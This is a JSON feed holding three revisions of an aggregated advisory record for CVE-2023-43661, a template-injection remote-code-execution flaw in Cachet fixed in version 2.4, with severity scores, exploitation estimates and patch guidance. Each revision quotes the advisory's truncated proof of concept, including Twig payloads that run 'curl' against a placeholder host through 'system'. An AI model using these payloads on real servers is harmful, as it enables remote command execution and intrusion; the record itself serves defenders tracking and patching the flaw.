{"items":[{"id":"NVI-00008004","kind":"vulnerability","title":"Cachet vulnerable to Authenticated Remote Code Execution","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-hv79-p62r-wg3p","CVE-2023-43661"],"plain_summary":"OSV carries this publisher advisory for cachethq/cachet. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 2.4 for cachethq/cachet. Confirm the publisher’s latest guidance.","source_ids":["sr-f1f3c03177c5e2195a33025cb143ff34"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-b0195b7ccc80e7a8b86af935c6022221"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-20T19:17:08.890Z","value":"9.1 CRITICAL (3.0)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-83ef95cd54eb41427c99150099202a1a"},{"kind":"CVSS","as_of":"2026-10-20T19:17:08.890Z","value":"8.8 HIGH (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-83ef95cd54eb41427c99150099202a1a"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"51.914%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.98952. Missing scores are unknown.","source_id":"sr-b0195b7ccc80e7a8b86af935c6022221"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-f1f3c03177c5e2195a33025cb143ff34","url":"https://github.com/advisories/GHSA-hv79-p62r-wg3p","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-hv79-p62r-wg3p","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:20.432Z"},{"id":"sr-83ef95cd54eb41427c99150099202a1a","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43661","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2023-43661","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-02T02:21:54.735Z"},{"id":"sr-b0195b7ccc80e7a8b86af935c6022221","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2023-43661","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:03.704Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-f1f3c03177c5e2195a33025cb143ff34"],"technology":"cachethq/cachet","known_exclusions":[],"conditions_summary":"### Summary\n\nA template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version.  Within `/cachet/app/Http/Routes/ApiRoutes.php`, and attacker could control `template` input which is passed to `laravel's` dispatched handler `/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php`. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution.\n\nThis vulnerability does not exist within the Twig library itself, but exists during the process of the Cachet processing of the data without any filtration. This has been patched in Cachet version  2.4.\n\n### PoC\n\n1. Log in as a default user (non-admin);\n2. Create an incident with name `slug1` and with content: `{{ ['curl yourhost.com','']|sort('system') }}` or with any other content for `Remote code execution` via the `Twig`, for instance: `{{[0]|reduce('system','curl yourhost.com')}}`;\n3. Get an `API` token from your account settings (`X-Cachet-Token`);\n4. Trigger remote","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.4"]}],"null_published_at":"2026-11-06T07:24:15.193Z","source_updated_at":"2024-02-16T08:24:52.775Z","source_disclosed_at":"2023-10-16T14:20:53.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:20.432Z"},{"id":"NVI-00008004","kind":"vulnerability","title":"Cachet vulnerable to Authenticated Remote Code Execution","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-hv79-p62r-wg3p","CVE-2023-43661"],"plain_summary":"OSV carries this publisher advisory for cachethq/cachet. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 2.4 for cachethq/cachet. Confirm the publisher’s latest guidance.","source_ids":["sr-f1f3c03177c5e2195a33025cb143ff34"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-b0195b7ccc80e7a8b86af935c6022221"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"51.914%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.98952. Missing scores are unknown.","source_id":"sr-b0195b7ccc80e7a8b86af935c6022221"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-f1f3c03177c5e2195a33025cb143ff34","url":"https://github.com/advisories/GHSA-hv79-p62r-wg3p","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-hv79-p62r-wg3p","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:20.432Z"},{"id":"sr-b0195b7ccc80e7a8b86af935c6022221","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2023-43661","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:03.704Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-f1f3c03177c5e2195a33025cb143ff34"],"technology":"cachethq/cachet","known_exclusions":[],"conditions_summary":"### Summary\n\nA template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version.  Within `/cachet/app/Http/Routes/ApiRoutes.php`, and attacker could control `template` input which is passed to `laravel's` dispatched handler `/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php`. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution.\n\nThis vulnerability does not exist within the Twig library itself, but exists during the process of the Cachet processing of the data without any filtration. This has been patched in Cachet version  2.4.\n\n### PoC\n\n1. Log in as a default user (non-admin);\n2. Create an incident with name `slug1` and with content: `{{ ['curl yourhost.com','']|sort('system') }}` or with any other content for `Remote code execution` via the `Twig`, for instance: `{{[0]|reduce('system','curl yourhost.com')}}`;\n3. Get an `API` token from your account settings (`X-Cachet-Token`);\n4. Trigger remote","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.4"]}],"null_published_at":"2026-11-05T03:52:54.774Z","source_updated_at":"2024-02-16T08:24:52.775Z","source_disclosed_at":"2023-10-16T14:20:53.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:20.432Z"},{"id":"NVI-00008004","kind":"vulnerability","title":"Cachet vulnerable to Authenticated Remote Code Execution","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-hv79-p62r-wg3p","CVE-2023-43661"],"plain_summary":"OSV carries this publisher advisory for cachethq/cachet. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 2.4 for cachethq/cachet. Confirm the publisher’s latest guidance.","source_ids":["sr-f1f3c03177c5e2195a33025cb143ff34"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-f1f3c03177c5e2195a33025cb143ff34","url":"https://github.com/advisories/GHSA-hv79-p62r-wg3p","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-hv79-p62r-wg3p","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:20.432Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-f1f3c03177c5e2195a33025cb143ff34"],"technology":"cachethq/cachet","known_exclusions":[],"conditions_summary":"### Summary\n\nA template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version.  Within `/cachet/app/Http/Routes/ApiRoutes.php`, and attacker could control `template` input which is passed to `laravel's` dispatched handler `/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php`. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution.\n\nThis vulnerability does not exist within the Twig library itself, but exists during the process of the Cachet processing of the data without any filtration. This has been patched in Cachet version  2.4.\n\n### PoC\n\n1. Log in as a default user (non-admin);\n2. Create an incident with name `slug1` and with content: `{{ ['curl yourhost.com','']|sort('system') }}` or with any other content for `Remote code execution` via the `Twig`, for instance: `{{[0]|reduce('system','curl yourhost.com')}}`;\n3. Get an `API` token from your account settings (`X-Cachet-Token`);\n4. Trigger remote","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.4"]}],"null_published_at":"2026-10-31T22:13:22.825Z","source_updated_at":"2024-02-16T08:24:52.775Z","source_disclosed_at":"2023-10-16T14:20:53.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:20.432Z"}],"next_cursor":null,"snapshot_revision":"42594"}